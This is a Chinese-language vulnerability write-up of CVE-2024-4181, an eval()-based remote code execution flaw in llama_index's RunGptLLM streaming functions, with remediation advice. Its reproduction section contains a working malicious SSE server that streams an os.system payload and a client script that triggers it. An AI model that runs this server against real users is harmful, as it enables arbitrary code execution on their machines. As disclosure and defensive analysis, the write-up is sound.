CVE-2024-4181 run-llama/llama_index SSE命令注入漏洞分析
1. 漏洞概述
CVE-2024-4181是run-llama/llama_index库中的一个严重安全漏洞,允许通过SSE(Server-Sent Events)流式传输机制实现远程代码执行(RCE)。该漏洞存在于llama_index/llms/rungpt.py文件中,由于对SSE响应数据的不安全处理,特别是使用了eval()函数,导致攻击者可以构造恶意SSE服务器来在客户端执行任意代码。
2. 受影响组件
2.1 LlamaIndex简介
LlamaIndex(原名GPT Index)是一个用于构建和查询自定义文档索引的Python库,专门用于将大量文档组织成索引结构,辅助大语言模型进行高效查询和检索信息。
2.2 SSE(Server-Sent Events)技术
SSE是一种处理数据的方式,允许程序在数据生成的同时逐步接收和处理数据,而不是等待所有数据完成后再处理。在LLM(大语言模型)中,流式传输可以让用户实时看到模型的输出,而不是等到整个响应生成完毕。
3. 漏洞分析
3.1 漏洞位置
漏洞存在于llama_index/llms/rungpt.py文件的RunGptLLM类中,具体在stream_complete和stream_chat函数中。
3.2 漏洞代码分析
3.2.1 流式请求处理
stream_complete函数通过requests.post方法向远程服务器的"/generate_stream"接口发送POST请求,请求体包含格式化后的提示文本和额外参数,并开启流式响应。然后使用sseclient.SSEClient处理流式响应。
3.2.2 不安全的数据处理
在处理SSE响应时,代码使用了eval()函数来解析数据:
item_dict = json.loads(json.dumps(eval(item.data)))
这种处理方式使得恶意构造的SSE响应可以包含任意Python代码,这些代码将在客户端执行。
3.3 漏洞修复
官方修复方案主要做了以下改进:
- 移除了不必要的JSON序列化和反序列化操作
- 完全移除了
eval()函数的使用 - 直接使用
json.loads()安全地解析JSON数据
4. 漏洞复现
4.1 环境准备
-
漏洞影响版本:< 0.10.13
-
服务端环境:
- 操作系统:Windows 10
- Python版本:3.12.6
- 框架:Flask
- IP地址:192.168.111.137
-
客户端环境:
- 操作系统:Windows 11
- Python版本:3.12.6
- 库:存在漏洞的llama_index版本
- IP地址:localhost
4.2 恶意SSE服务器代码
from flask import Flask, Response
import time
import logging
app = Flask(__name__)
logging.basicConfig(level=logging.INFO)
def generate_sse_events():
"""生成恶意SSE事件"""
event_id = 1
while True:
data = "__import__('os').system('calc')" # 恶意代码,此处会执行计算器
logging.info(f"Executing command: {data}")
yield f"id: {event_id}\ndata: {data}\nevent: time_update\n\n"
event_id += 1
time.sleep(1) # 模拟实时事件
@app.route('/chat_stream', methods=['POST'])
def sse_request():
return Response(generate_sse_events(), content_type='text/event-stream')
if __name__ == '__main__':
app.run(debug=False, port=5000)
4.3 漏洞利用客户端代码
from llama_index.llms.rungpt import RunGptLLM
class Exploit:
def __init__(self):
# 初始化连接到恶意SSE服务器
self.run_gpt_llm = RunGptLLM(endpoint="http://192.168.111.137:5000")
# 本地测试可使用: self.run_gpt_llm = RunGptLLM(endpoint="http://localhost:5000")
def exploit(self):
# 模拟与stream_chat交互处理恶意负载
messages = [] # 假设为空消息列表
generator = self.run_gpt_llm.stream_chat(messages)
# 或者使用: generator = self.run_gpt_llm.stream_complete("")
try:
for response in generator:
print("Received a response: ", response)
if isinstance(response, int):
print("Warning: Received an integer response, which is not expected.")
else:
print("Processing response: ", response)
except Exception as e:
print("Error processing the stream: ", e)
if __name__ == "__main__":
exploit = Exploit()
exploit.exploit()
4.4 验证触发
当客户端连接到恶意SSE服务器并处理SSE响应时,eval()函数会执行服务器返回的恶意代码(如__import__('os').system('calc')),导致计算器程序被启动,验证了RCE漏洞的存在。
5. 漏洞影响
- 影响范围:所有使用受影响版本llama_index库的应用程序
- 严重性:高危(远程代码执行)
- 攻击场景:
- 攻击者可以构造恶意SSE服务器
- 诱骗用户连接到恶意服务器
- 在用户机器上执行任意代码
6. 防护建议
- 立即升级:升级到llama_index 0.10.13或更高版本
- 输入验证:对所有SSE响应数据进行严格验证
- 避免使用eval:永远不要使用
eval()处理不可信输入 - 网络隔离:限制LLM客户端只能连接到可信的服务器
- 最小权限原则:以最小必要权限运行应用程序
7. 总结
CVE-2024-4181展示了在处理流式数据时不当使用eval()函数带来的严重安全风险。开发者应始终遵循安全编码实践,特别是当处理来自不可信源的数据时。对于LLM相关应用,由于它们通常需要处理复杂的数据流,安全设计尤为重要。